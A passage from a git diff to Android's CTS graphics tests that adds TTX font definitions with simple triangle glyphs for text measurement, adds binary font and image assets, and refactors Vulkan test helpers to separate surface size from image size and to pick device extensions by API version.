+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="1000"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="1000" lsb="0"/>
+    <mtx name="b" width="1000" lsb="0"/>
+    <mtx name="c" width="1000" lsb="0"/>
+    <mtx name="d" width="1000" lsb="0"/>
+    <mtx name="e" width="1000" lsb="0"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="3" nGroups="6" platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+      <map code="0x0062" name="b" />
+      <map code="0x0063" name="c" />
+      <map code="0x0064" name="d" />
+      <map code="0x0065" name="e" />
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="500" y="1000" on="1" />
+        <pt x="1000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="b" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="250" on="1" />
+        <pt x="0" y="500" on="1" />
+        <pt x="1000" y="750" on="1" />
+        <pt x="0" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="c" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="0" on="1" />
+        <pt x="0" y="500" on="1" />
+        <pt x="1000" y="1000" on="1" />
+        <pt x="0" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="d" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="250" on="1" />
+        <pt x="1000" y="750" on="1" />
+        <pt x="0" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="e" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="0" on="1" />
+        <pt x="0" y="250" on="1" />
+        <pt x="1000" y="500" on="1" />
+        <pt x="0" y="750" on="1" />
+        <pt x="1000" y="1000" on="1" />
+        <pt x="0" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/fonts/measurement/a3em.ttf b/tests/tests/graphics/assets/fonts/measurement/a3em.ttf
new file mode 100644
index 0000000..e7814db
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/measurement/a3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/fonts/measurement/a3em.ttx b/tests/tests/graphics/assets/fonts/measurement/a3em.ttx
index d3b9e16..19f1712 100644
--- a/tests/tests/graphics/assets/fonts/measurement/a3em.ttx
+++ b/tests/tests/graphics/assets/fonts/measurement/a3em.ttx
@@ -101,7 +101,7 @@
     <fsSelection value="00000000 01000000"/>
     <usFirstCharIndex value="32"/>
     <usLastCharIndex value="122"/>
-    <sTypoAscender value="800"/>
+    <sTypoAscender value="1000"/>
     <sTypoDescender value="-200"/>
     <sTypoLineGap value="200"/>
     <usWinAscent value="1000"/>
@@ -117,8 +117,8 @@
 
   <hmtx>
     <mtx name=".notdef" width="500" lsb="93"/>
-    <mtx name="1em" width="1000" lsb="93"/>
-    <mtx name="3em" width="3000" lsb="93"/>
+    <mtx name="1em" width="1000" lsb="100"/>
+    <mtx name="3em" width="3000" lsb="100"/>
   </hmtx>
 
   <cmap>
@@ -138,8 +138,22 @@
 
   <glyf>
     <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
-    <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
-    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1em" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="500" y="1000" on="1" />
+        <pt x="1000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="3000" yMax="3000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1500" y="3000" on="1" />
+        <pt x="3000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
   </glyf>
 
   <name>
diff --git a/tests/tests/graphics/assets/fonts/measurement/bbox.ttf b/tests/tests/graphics/assets/fonts/measurement/bbox.ttf
new file mode 100644
index 0000000..c89c59c
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/measurement/bbox.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/fonts/measurement/bbox.ttx b/tests/tests/graphics/assets/fonts/measurement/bbox.ttx
new file mode 100644
index 0000000..e7d34bd
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/measurement/bbox.ttx
@@ -0,0 +1,265 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="1emx1em"/>
+    <GlyphID id="2" name="2emx2em"/>
+    <GlyphID id="3" name="3emx3em"/>
+    <GlyphID id="4" name="2emx2em_lsb_1em"/>
+    <GlyphID id="5" name="1emx1em_y1em_origin"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="1emx1em" width="1000" lsb="0"/>
+    <mtx name="2emx2em" width="2000" lsb="0"/>
+    <mtx name="3emx3em" width="3000" lsb="0"/>
+    <mtx name="2emx2em_lsb_1em" width="2000" lsb="1000"/>
+    <mtx name="1emx1em_y1em_origin" width="1000" lsb="0"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="3" nGroups="6" platformID="3" platEncID="1" language="0">
+      <map code="0x0028" name="1emx1em" />
+      <map code="0x0061" name="1emx1em" />
+      <map code="0x0062" name="2emx2em" />
+      <map code="0x0063" name="3emx3em" />
+      <map code="0x0064" name="2emx2em_lsb_1em" />
+      <map code="0x0065" name="1emx1em_y1em_origin" />
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1emx1em" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="500" y="1000" on="1" />
+        <pt x="1000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="2emx2em" xMin="0" yMin="0" xMax="2000" yMax="2000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="2000" on="1" />
+        <pt x="2000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="3emx3em" xMin="0" yMin="0" xMax="3000" yMax="3000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1500" y="3000" on="1" />
+        <pt x="3000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="2emx2em_lsb_1em" xMin="0" yMin="0" xMax="2000" yMax="2000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="2000" on="1" />
+        <pt x="2000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="1emx1em_y1em_origin" xMin="0" yMin="1000" xMax="1000" yMax="2000">
+      <contour>
+        <pt x="0" y="1000" on="1" />
+        <pt x="500" y="2000" on="1" />
+        <pt x="1000" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+  </glyf>
+
+  <GSUB>
+  <Version value="0x00010000"/>
+  <ScriptList>
+    <ScriptRecord index="0">
+      <ScriptTag value="latn"/>
+      <Script>
+        <DefaultLangSys>
+          <ReqFeatureIndex value="65535"/>
+          <FeatureIndex index="0" value="0"/>
+        </DefaultLangSys>
+      </Script>
+    </ScriptRecord>
+  </ScriptList>
+  <FeatureList>
+    <FeatureRecord index="0">
+      <FeatureTag value="rtlm"/>
+      <Feature>
+        <LookupListIndex index="0" value="0"/>
+      </Feature>
+    </FeatureRecord>
+  </FeatureList>
+  <LookupList>
+    <Lookup index="0">
+      <LookupType value="1"/>
+      <LookupFlag value="0"/>
+      <SingleSubst index="0" Format="2">
+        <Substitution in="1emx1em" out="3emx3em" />
+      </SingleSubst>
+    </Lookup>
+  </LookupList>
+
+  </GSUB>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/still_with_loop_count.gif b/tests/tests/graphics/assets/still_with_loop_count.gif
new file mode 100644
index 0000000..ca3fb32
--- /dev/null
+++ b/tests/tests/graphics/assets/still_with_loop_count.gif
Binary files differ
diff --git a/tests/tests/graphics/assets/webp_still_with_loop_count.webp b/tests/tests/graphics/assets/webp_still_with_loop_count.webp
new file mode 100644
index 0000000..d46a012
--- /dev/null
+++ b/tests/tests/graphics/assets/webp_still_with_loop_count.webp
Binary files differ
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index d7e927c..ecdf49d 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -243,7 +243,8 @@
 SwapchainInfo::SwapchainInfo(const DeviceInfo* const deviceInfo)
       : mDeviceInfo(deviceInfo),
         mFormat(VK_FORMAT_UNDEFINED),
-        mDisplaySize({0, 0}),
+        mSurfaceSize({0, 0}),
+        mImageSize({0, 0}),
         mSwapchain(VK_NULL_HANDLE),
         mSwapchainLength(0) {}
 
@@ -289,7 +290,7 @@
     ASSERT(formatIndex < formatCount);
 
     mFormat = formats[formatIndex].format;
-    mDisplaySize = surfaceCapabilities.currentExtent;
+    mImageSize = mSurfaceSize = surfaceCapabilities.currentExtent;
 
     VkSurfaceTransformFlagBitsKHR preTransform =
             (setPreTransform ? surfaceCapabilities.currentTransform
@@ -302,7 +303,7 @@
          (VK_SURFACE_TRANSFORM_ROTATE_90_BIT_KHR | VK_SURFACE_TRANSFORM_ROTATE_270_BIT_KHR |
           VK_SURFACE_TRANSFORM_HORIZONTAL_MIRROR_ROTATE_90_BIT_KHR |
           VK_SURFACE_TRANSFORM_HORIZONTAL_MIRROR_ROTATE_270_BIT_KHR)) != 0) {
-        std::swap(mDisplaySize.width, mDisplaySize.height);
+        std::swap(mImageSize.width, mImageSize.height);
     }
 
     if (outPreTransformHint) {
@@ -318,7 +319,7 @@
             .minImageCount = surfaceCapabilities.minImageCount,
             .imageFormat = mFormat,
             .imageColorSpace = formats[formatIndex].colorSpace,
-            .imageExtent = mDisplaySize,
+            .imageExtent = mImageSize,
             .imageArrayLayers = 1,
             .imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT,
             .imageSharingMode = VK_SHARING_MODE_EXCLUSIVE,
@@ -467,8 +468,8 @@
                 .renderPass = mRenderPass,
                 .attachmentCount = 1,
                 .pAttachments = &mImageViews[i],
-                .width = mSwapchainInfo->displaySize().width,
-                .height = mSwapchainInfo->displaySize().height,
+                .width = mSwapchainInfo->imageSize().width,
+                .height = mSwapchainInfo->imageSize().height,
                 .layers = 1,
         };
         VK_CALL(vkCreateFramebuffer(mDeviceInfo->device(), &framebufferCreateInfo, nullptr,
@@ -597,8 +598,8 @@
     const VkViewport viewports = {
             .x = 0.0f,
             .y = 0.0f,
-            .width = (float)mSwapchainInfo->displaySize().width,
-            .height = (float)mSwapchainInfo->displaySize().height,
+            .width = (float)mSwapchainInfo->imageSize().width,
+            .height = (float)mSwapchainInfo->imageSize().height,
             .minDepth = 0.0f,
             .maxDepth = 1.0f,
     };
@@ -608,7 +609,7 @@
                             .x = 0,
                             .y = 0,
                     },
-            .extent = mSwapchainInfo->displaySize(),
+            .extent = mSwapchainInfo->imageSize(),
     };
     const VkPipelineViewportStateCreateInfo viewportInfo = {
             .sType = VK_STRUCTURE_TYPE_PIPELINE_VIEWPORT_STATE_CREATE_INFO,
@@ -786,7 +787,7 @@
                                                 .x = 0,
                                                 .y = 0,
                                         },
-                                .extent = mSwapchainInfo->displaySize(),
+                                .extent = mSwapchainInfo->imageSize(),
                         },
                 .clearValueCount = 1,
                 .pClearValues = &clearVals,
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
index ba36b7a..20a7768 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
@@ -57,7 +57,8 @@
     ~SwapchainInfo();
     VkTestResult init(bool setPreTransform, int* outPreTransformHint);
     VkFormat format() const { return mFormat; }
-    VkExtent2D displaySize() const { return mDisplaySize; }
+    VkExtent2D surfaceSize() const { return mSurfaceSize; }
+    VkExtent2D imageSize() const { return mImageSize; }
     VkSwapchainKHR swapchain() const { return mSwapchain; }
     uint32_t swapchainLength() const { return mSwapchainLength; }
 
@@ -65,7 +66,8 @@
     const DeviceInfo* const mDeviceInfo;
 
     VkFormat mFormat;
-    VkExtent2D mDisplaySize;
+    VkExtent2D mSurfaceSize;
+    VkExtent2D mImageSize;
     VkSwapchainKHR mSwapchain;
     uint32_t mSwapchainLength;
 };
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index b549b97..ea16aea 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -102,18 +102,8 @@
       .engineVersion = VK_MAKE_VERSION(1, 0, 0),
       .apiVersion = VK_MAKE_VERSION(1, 1, 0),
   };
-  std::vector<const char *> instanceExt, deviceExt;
+  std::vector<const char *> instanceExt;
   instanceExt.push_back(VK_EXT_DEBUG_REPORT_EXTENSION_NAME);
-  instanceExt.push_back(VK_KHR_EXTERNAL_MEMORY_CAPABILITIES_EXTENSION_NAME);
-  instanceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_CAPABILITIES_EXTENSION_NAME);
-  instanceExt.push_back(VK_KHR_GET_PHYSICAL_DEVICE_PROPERTIES_2_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_GET_MEMORY_REQUIREMENTS_2_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_BIND_MEMORY_2_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_EXTERNAL_MEMORY_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_FD_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_SAMPLER_YCBCR_CONVERSION_EXTENSION_NAME);
-  deviceExt.push_back(VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME);
   VkInstanceCreateInfo createInfo = {
       .sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO,
       .pNext = nullptr,
@@ -131,12 +121,38 @@
   ASSERT(status == VK_SUCCESS || status == VK_INCOMPLETE);
   ASSERT(gpuCount > 0);
 
+  VkPhysicalDeviceProperties physicalDeviceProperties;
+  vkGetPhysicalDeviceProperties(mGpu, &physicalDeviceProperties);
+  std::vector<const char *> deviceExt;
+  if (physicalDeviceProperties.apiVersion < VK_API_VERSION_1_1) {
+      deviceExt.push_back(VK_KHR_GET_MEMORY_REQUIREMENTS_2_EXTENSION_NAME);
+      deviceExt.push_back(VK_KHR_BIND_MEMORY_2_EXTENSION_NAME);
+      deviceExt.push_back(VK_KHR_EXTERNAL_MEMORY_EXTENSION_NAME);
+      deviceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_EXTENSION_NAME);
+      deviceExt.push_back(VK_KHR_SAMPLER_YCBCR_CONVERSION_EXTENSION_NAME);
+  }
+  deviceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_FD_EXTENSION_NAME);
+  deviceExt.push_back(VK_EXT_QUEUE_FAMILY_FOREIGN_EXTENSION_NAME);
+  deviceExt.push_back(VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME);
+
   std::vector<VkExtensionProperties> supportedDeviceExtensions;
   ASSERT(enumerateDeviceExtensions(mGpu, &supportedDeviceExtensions));
   for (const auto extension : deviceExt) {
       ASSERT(hasExtension(extension, supportedDeviceExtensions));
   }
 
+  const VkPhysicalDeviceExternalSemaphoreInfo externalSemaphoreInfo = {
+          VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_EXTERNAL_SEMAPHORE_INFO,
+          nullptr,
+          VK_EXTERNAL_SEMAPHORE_HANDLE_TYPE_SYNC_FD_BIT,
+  };
+  VkExternalSemaphoreProperties externalSemaphoreProperties;
+  vkGetPhysicalDeviceExternalSemaphoreProperties(mGpu, &externalSemaphoreInfo,
+                                                 &externalSemaphoreProperties);
+
+  ASSERT(externalSemaphoreProperties.externalSemaphoreFeatures &
+         VK_EXTERNAL_SEMAPHORE_FEATURE_IMPORTABLE_BIT);
+
   uint32_t queueFamilyCount = 0;
   vkGetPhysicalDeviceQueueFamilyProperties(mGpu, &queueFamilyCount, nullptr);
   ASSERT(queueFamilyCount != 0);
@@ -178,10 +194,37 @@
 
   VK_CALL(vkCreateDevice(mGpu, &deviceCreateInfo, nullptr, &mDevice));
 
-  mPfnGetAndroidHardwareBufferPropertiesANDROID =
-      (PFN_vkGetAndroidHardwareBufferPropertiesANDROID)vkGetDeviceProcAddr(
-          mDevice, "vkGetAndroidHardwareBufferPropertiesANDROID");
-  ASSERT(mPfnGetAndroidHardwareBufferPropertiesANDROID);
+  if (physicalDeviceProperties.apiVersion < VK_API_VERSION_1_1) {
+      mPfnBindImageMemory2 =
+              (PFN_vkBindImageMemory2)vkGetDeviceProcAddr(mDevice, "vkBindImageMemory2KHR");
+      mPfnGetImageMemoryRequirements2 = (PFN_vkGetImageMemoryRequirements2)
+              vkGetDeviceProcAddr(mDevice, "vkGetImageMemoryRequirements2KHR");
+      mPfnCreateSamplerYcbcrConversion = (PFN_vkCreateSamplerYcbcrConversion)
+              vkGetDeviceProcAddr(mDevice, "vkCreateSamplerYcbcrConversionKHR");
+      mPfnDestroySamplerYcbcrConversion = (PFN_vkDestroySamplerYcbcrConversion)
+              vkGetDeviceProcAddr(mDevice, "vkDestroySamplerYcbcrConversionKHR");
+  } else {
+      mPfnBindImageMemory2 =
+              (PFN_vkBindImageMemory2)vkGetDeviceProcAddr(mDevice, "vkBindImageMemory2");
+      mPfnGetImageMemoryRequirements2 = (PFN_vkGetImageMemoryRequirements2)
+              vkGetDeviceProcAddr(mDevice, "vkGetImageMemoryRequirements2");
+      mPfnCreateSamplerYcbcrConversion = (PFN_vkCreateSamplerYcbcrConversion)
+              vkGetDeviceProcAddr(mDevice, "vkCreateSamplerYcbcrConversion");
+      mPfnDestroySamplerYcbcrConversion = (PFN_vkDestroySamplerYcbcrConversion)
+              vkGetDeviceProcAddr(mDevice, "vkDestroySamplerYcbcrConversion");
+  }
+  ASSERT(mPfnBindImageMemory2);
+  ASSERT(mPfnGetImageMemoryRequirements2);
+  ASSERT(mPfnCreateSamplerYcbcrConversion);
+  ASSERT(mPfnDestroySamplerYcbcrConversion);
+
+  mPfnGetAndroidHardwareBufferProperties = (PFN_vkGetAndroidHardwareBufferPropertiesANDROID)
+          vkGetDeviceProcAddr(mDevice, "vkGetAndroidHardwareBufferPropertiesANDROID");
+  ASSERT(mPfnGetAndroidHardwareBufferProperties);
+
+  mPfnImportSemaphoreFd =
+          (PFN_vkImportSemaphoreFdKHR)vkGetDeviceProcAddr(mDevice, "vkImportSemaphoreFdKHR");
+  ASSERT(mPfnImportSemaphoreFd);
 
   VkPhysicalDeviceSamplerYcbcrConversionFeaturesKHR ycbcrFeatures{
       .sType =
@@ -192,11 +235,7 @@
       .sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_FEATURES_2_KHR,
       .pNext = &ycbcrFeatures,
   };
-  PFN_vkGetPhysicalDeviceFeatures2KHR getFeatures =
-      (PFN_vkGetPhysicalDeviceFeatures2KHR)vkGetInstanceProcAddr(
